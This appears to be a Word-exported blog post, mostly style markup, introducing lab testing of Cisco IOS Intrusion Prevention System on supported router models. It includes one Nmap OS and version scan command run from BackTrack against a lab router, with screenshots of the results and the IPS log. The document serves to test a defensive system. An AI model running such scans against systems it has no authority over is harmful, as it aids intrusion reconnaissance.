&lt;w:lsdexception locked="false" priority="1" name="Default Paragraph Font"&gt;   &lt;w:lsdexception locked="false" priority="11" semihidden="false" unhidewhenused="false" qformat="true" name="Subtitle"&gt;   &lt;w:lsdexception locked="false" priority="22" semihidden="false" unhidewhenused="false" qformat="true" name="Strong"&gt;   &lt;w:lsdexception locked="false" priority="20" semihidden="false" unhidewhenused="false" qformat="true" name="Emphasis"&gt;   &lt;w:lsdexception locked="false" priority="59" semihidden="false" unhidewhenused="false" name="Table Grid"&gt;   &lt;w:lsdexception locked="false" unhidewhenused="false" name="Placeholder Text"&gt;   &lt;w:lsdexception locked="false" priority="1" semihidden="false" unhidewhenused="false" qformat="true" name="No Spacing"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1 Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2 Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1 Accent 1"&gt;   &lt;w:lsdexception locked="false" unhidewhenused="false" name="Revision"&gt;   &lt;w:lsdexception locked="false" priority="34" semihidden="false" unhidewhenused="false" qformat="true" name="List Paragraph"&gt;   &lt;w:lsdexception locked="false" priority="29" semihidden="false" unhidewhenused="false" qformat="true" name="Quote"&gt;   &lt;w:lsdexception locked="false" priority="30" semihidden="false" unhidewhenused="false" qformat="true" name="Intense Quote"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2 Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1 Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2 Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3 Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="19" semihidden="false" unhidewhenused="false" qformat="true" name="Subtle Emphasis"&gt;   &lt;w:lsdexception locked="false" priority="21" semihidden="false" unhidewhenused="false" qformat="true" name="Intense Emphasis"&gt;   &lt;w:lsdexception locked="false" priority="31" semihidden="false" unhidewhenused="false" qformat="true" name="Subtle Reference"&gt;   &lt;w:lsdexception locked="false" priority="32" semihidden="false" unhidewhenused="false" qformat="true" name="Intense Reference"&gt;   &lt;w:lsdexception locked="false" priority="33" semihidden="false" unhidewhenused="false" qformat="true" name="Book Title"&gt;   &lt;w:lsdexception locked="false" priority="37" name="Bibliography"&gt;   &lt;w:lsdexception locked="false" priority="39" qformat="true" name="TOC Heading"&gt;  &lt;/w:LatentStyles&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;style&gt; &lt;!--  /* Font Definitions */  @font-face 	{font-family:"Cambria Math"; 	panose-1:2 4 5 3 5 4 6 3 2 4; 	mso-font-charset:1; 	mso-generic-font-family:roman; 	mso-font-format:other; 	mso-font-pitch:variable; 	mso-font-signature:0 0 0 0 0 0;} @font-face 	{font-family:Calibri; 	panose-1:2 15 5 2 2 2 4 3 2 4; 	mso-font-charset:0; 	mso-generic-font-family:swiss; 	mso-font-pitch:variable; 	mso-font-signature:-1610611985 1073750139 0 0 159 0;}  /* Style Definitions */  p.MsoNormal, li.MsoNormal, div.MsoNormal 	{mso-style-unhide:no; 	mso-style-qformat:yes; 	mso-style-parent:""; 	margin-top:0cm; 	margin-right:0cm; 	margin-bottom:10.0pt; 	margin-left:0cm; 	line-height:115%; 	mso-pagination:widow-orphan; 	font-size:11.0pt; 	font-family:"Calibri","sans-serif"; 	mso-fareast-font-family:Calibri; 	mso-bidi-font-family:"Times New Roman"; 	mso-fareast-language:EN-US;} span.content 	{mso-style-name:content; 	mso-style-unhide:no;} .MsoChpDefault 	{mso-style-type:export-only; 	mso-default-props:yes; 	font-size:10.0pt; 	mso-ansi-font-size:10.0pt; 	mso-bidi-font-size:10.0pt; 	mso-ascii-font-family:Calibri; 	mso-fareast-font-family:Calibri; 	mso-hansi-font-family:Calibri;} @page Section1 	{size:612.0pt 792.0pt; 	margin:70.85pt 3.0cm 70.85pt 3.0cm; 	mso-header-margin:35.4pt; 	mso-footer-margin:35.4pt; 	mso-paper-source:0;} div.Section1 	{page:Section1;} --&gt; &lt;/style&gt;&lt;!--[if gte mso 10]&gt; &lt;style&gt;  /* Style Definitions */  table.MsoNormalTable 	{mso-style-name:"Tabla normal"; 	mso-tstyle-rowband-size:0; 	mso-tstyle-colband-size:0; 	mso-style-noshow:yes; 	mso-style-priority:99; 	mso-style-qformat:yes; 	mso-style-parent:""; 	mso-padding-alt:0cm 5.4pt 0cm 5.4pt; 	mso-para-margin:0cm; 	mso-para-margin-bottom:.0001pt; 	mso-pagination:widow-orphan; 	font-size:11.0pt; 	font-family:"Calibri","sans-serif"; 	mso-ascii-font-family:Calibri; 	mso-ascii-theme-font:minor-latin; 	mso-fareast-font-family:"Times New Roman"; 	mso-fareast-theme-font:minor-fareast; 	mso-hansi-font-family:Calibri; 	mso-hansi-theme-font:minor-latin; 	mso-bidi-font-family:"Times New Roman"; 	mso-bidi-theme-font:minor-bidi;} &lt;/style&gt; &lt;![endif]--&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;o:shapedefaults ext="edit" spidmax="1030"&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;o:shapelayout ext="edit"&gt;   &lt;o:idmap ext="edit" data="1"&gt;  &lt;/o:shapelayout&gt;&lt;/xml&gt;&lt;![endif]--&gt;  &lt;p class="MsoNormal"  style="margin-bottom: 0.0001pt; text-align: justify; line-height: normal;font-family:arial;"&gt;&lt;span style=";font-size:100%;" &gt;When you are implementing a system on the network, you always perform testing (security, performance, etc.) before it makes an attacker to do so. The aim of this paper is to make a short introduction on one of these tests to be performed prior to the production envrionment we are going to implement.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; text-align: justify; line-height: normal; font-family: arial;"&gt;&lt;span class="content"  style="font-size:100%;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal; font-family: arial;"&gt;&lt;span style="font-size:100%;"&gt;To benefit from the Cisco routers, I will implement the solution that co-ordinates number of models under Cisco IOS Intrusion Prevention System (IPS).&lt;br /&gt;&lt;br /&gt;According to Cisco:&lt;/span&gt;&lt;span class="content"  style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; text-align: justify; line-height: normal; font-family: arial;"&gt;&lt;span class="content"  style="font-size:100%;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; text-align: justify; line-height: normal; font-family: arial;"&gt;&lt;span class="content"  style="font-size:100%;"&gt;“Cisco IOS Intrusion Prevention System (IPS) provides an inline, deep-packet inspection feature that effectively mitigates a wide range of network attacks.”&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; text-align: justify; line-height: normal; font-family: arial;"&gt;&lt;span class="content"  style="font-size:100%;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal; font-family: arial;"&gt;&lt;span style=";font-size:100%;" &gt;Platforms that support this feature are:&lt;br /&gt;Family &lt;/span&gt;&lt;span style="font-size:100%;"&gt;800: 871, 876, 877, 878, 881, 887, 888&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; text-align: justify; line-height: normal; font-family: arial;"&gt;&lt;span style=";font-size:100%;" &gt;Family&lt;/span&gt;&lt;span style="font-size:100%;"&gt; 1800: 1801, 1802, 1803, 1811, 1812, 1841, 1861&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; text-align: justify; line-height: normal; font-family: arial;"&gt;&lt;span style=";font-size:100%;" &gt;Family&lt;/span&gt;&lt;span style="font-size:100%;"&gt; 2800: 2801, 2811, 2821, 2851&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; text-align: justify; line-height: normal; font-family: arial;"&gt;&lt;span style=";font-size:100%;" &gt;Family&lt;/span&gt;&lt;span style="font-size:100%;"&gt; 3800: 3825,3845&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; text-align: justify; line-height: normal; font-family: arial;"&gt;&lt;span style=";font-size:100%;" &gt;Family&lt;/span&gt;&lt;span style="font-size:100%;"&gt; SR520: SR520&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; text-align: justify; line-height: normal; font-family: arial;"&gt;&lt;span style=";font-size:100%;" &gt;Family&lt;/span&gt;&lt;span style="font-size:100%;"&gt; 7200: 7204VXR, 7206VXR&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; text-align: justify; line-height: normal; font-family: arial;"&gt;&lt;span style=";font-size:100%;" &gt;Family&lt;/span&gt;&lt;span style="font-size:100%;"&gt; 7301: 7301&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; text-align: justify; line-height: normal; font-family: arial;"&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal; font-family: arial;"&gt;&lt;span style=";font-size:100%;" &gt;Note: As of last May 2008 platforms Cisco recommends upgrading to a version of IOS 12.4 (11) T2 or later, to be compatible with the new signature system 5.x.&lt;br /&gt;&lt;br /&gt;If you want to update the signatures, follow the link below:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal; font-family: arial;"&gt;&lt;span style=";font-size:100%;" &gt;http://www.cisco.com/pcgi-bin/tablebuild.pl/ios-v5sigup (requires CCO login).&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; text-align: justify; line-height: normal; font-family: arial;"&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; text-align: justify; line-height: normal; font-family: arial;"&gt;&lt;span style="font-size:100%;"&gt;For those managers who are starting in the world of Cisco Security, I have seen that many people like to use a tool, Security Device Manager (SDM). And I think that if this is the first time you are going to deploy such solution it is better to undertake the use of such tool in order avoid confusion instead trying via CLI.&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; text-align: justify; line-height: normal; font-family: arial;"&gt;&lt;span style="font-size:100%;"&gt;The audience for this paper could be network administrators with basic knowledge of networking, TCP/IP protocol, CCNA Security or equivalent. I will the part of installing SDM and the normal router settings but in case if you need it, please drop me an e-mail.&lt;/span&gt;&lt;/p&gt;                  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal; font-family: arial;"&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;span style=";font-size:100%;" &gt;&lt;o:p&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal; font-family: arial;"&gt;&lt;span style=";font-size:100%;" &gt;Here is the scenario:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; text-align: justify; line-height: normal; font-family: arial;"&gt;&lt;span style=";font-size:100%;" &gt;&lt;v:shapetype id="_x0000_t75" coordsize="21600,21600" spt="75" preferrelative="t" path="m@4@5l@4@11@9@11@9@5xe" filled="f" stroked="f"&gt;  &lt;v:stroke joinstyle="miter"&gt;  &lt;v:formulas&gt;   &lt;v:f eqn="if lineDrawn pixelLineWidth 0"&gt;   &lt;v:f eqn="sum @0 1 0"&gt;   &lt;v:f eqn="sum 0 0 @1"&gt;   &lt;v:f eqn="prod @2 1 2"&gt;   &lt;v:f eqn="prod @3 21600 pixelWidth"&gt;   &lt;v:f eqn="prod @3 21600 pixelHeight"&gt;   &lt;v:f eqn="sum @0 0 1"&gt;   &lt;v:f eqn="prod @6 1 2"&gt;   &lt;v:f eqn="prod @7 21600 pixelWidth"&gt;   &lt;v:f eqn="sum @8 21600 0"&gt;   &lt;v:f eqn="prod @7 21600 pixelHeight"&gt;   &lt;v:f eqn="sum @10 21600 0"&gt;  &lt;/v:f&gt;  &lt;v:path extrusionok="f" gradientshapeok="t" connecttype="rect"&gt;  &lt;o:lock ext="edit" aspectratio="t"&gt; &lt;/o:lock&gt;&lt;v:shape id="_x0030__x0020_Imagen" spid="_x0000_i1028" type="#_x0000_t75" alt="ips.jpg" style="width: 202.5pt; height: 186pt; visibility: visible;"&gt;  &lt;v:imagedata src="file:///C:%5CUsers%5Crafael%5CAppData%5CLocal%5CTemp%5Cmsohtmlclip1%5C01%5Cclip_image001.jpg" title="ips"&gt; &lt;/v:imagedata&gt;&lt;/v:shape&gt;&lt;/v:path&gt;&lt;/v:f&gt;&lt;/v:f&gt;&lt;/v:f&gt;&lt;/v:f&gt;&lt;/v:f&gt;&lt;/v:f&gt;&lt;/v:f&gt;&lt;/v:f&gt;&lt;/v:f&gt;&lt;/v:f&gt;&lt;/v:f&gt;&lt;/v:formulas&gt;&lt;/v:stroke&gt;&lt;/v:shapetype&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; text-align: justify; line-height: normal; font-family: arial;"&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal; font-family: arial;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_d-rQacFdOFI/SfUH4pEhreI/AAAAAAAAACY/yG5Si0dM03o/s1600-h/ips.jpg"&gt;&lt;img style="cursor: pointer; width: 291px; height: 267px;" src="http://3.bp.blogspot.com/_d-rQacFdOFI/SfUH4pEhreI/AAAAAAAAACY/yG5Si0dM03o/s320/ips.jpg" alt="" id="BLOGGER_PHOTO_ID_5329174403741756898" border="0" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal; font-family: arial;"&gt;&lt;span style=";font-size:100%;" &gt;As in the laboratory environment, we asume that the network segment is 192.168.100.0/24 and has access to the public internet.&lt;br /&gt;&lt;br /&gt;Launching Backtrack to do the scans against NAT-IP of a router, can be performed as:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; text-align: justify; line-height: normal; font-family: arial;"&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; text-align: justify; line-height: normal; font-family: arial;"&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-weight: bold;"&gt;Nmap –PN –O –sV –v –sS 192.168.100.10&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; text-align: justify; line-height: normal; font-family: arial;"&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal; font-family: arial;"&gt;&lt;span style=";font-size:100%;" &gt;The results are similar to the following image:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; text-align: justify; line-height: normal; font-family: arial;"&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; text-align: justify; line-height: normal; font-family: arial;"&gt;&lt;span style=";font-size:100%;" &gt;&lt;v:shape id="_x0031__x0020_Imagen" spid="_x0000_i1027" type="#_x0000_t75" alt="01.jpg" style="width: 441.75pt; height: 298.5pt; visibility: visible;"&gt;  &lt;v:imagedata src="file:///C:%5CUsers%5Crafael%5CAppData%5CLocal%5CTemp%5Cmsohtmlclip1%5C01%5Cclip_image002.jpg" title="01"&gt; &lt;/v:imagedata&gt;&lt;/v:shape&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; text-align: justify; line-height: normal; font-family: arial;"&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal; font-family: arial;"&gt;&lt;span style="font-family: arial;font-size:100%;" &gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_d-rQacFdOFI/SfUHOxuQ2tI/AAAAAAAAACQ/r466My07CUM/s1600-h/01.jpg"&gt;&lt;img style="cursor: pointer; width: 320px; height: 216px;" src="http://3.bp.blogspot.com/_d-rQacFdOFI/SfUHOxuQ2tI/AAAAAAAAACQ/r466My07CUM/s320/01.jpg" alt="" id="BLOGGER_PHOTO_ID_5329173684509792978" border="0" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal; font-family: arial;"&gt;&lt;span style=";font-size:100%;" &gt;Look at the log of IOS IPS:&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal; font-family: arial;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_d-rQacFdOFI/SfUIG1iMUmI/AAAAAAAAACg/7adVFTB_VgE/s1600-h/02.jpg"&gt;&lt;img style="cursor: pointer; width: 320px; height: 57px;" src="http://3.bp.blogspot.com/_d-rQacFdOFI/SfUIG1iMUmI/AAAAAAAAACg/7adVFTB_VgE/s320/02.jpg" alt="" id="BLOGGER_PHOTO_ID_5329174647605580386" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style=";font-size:100%;" &gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; text-align: justify; line-height: normal; font-family: arial;"&gt;&lt;br /&gt;&lt;/p&gt;  &lt;p 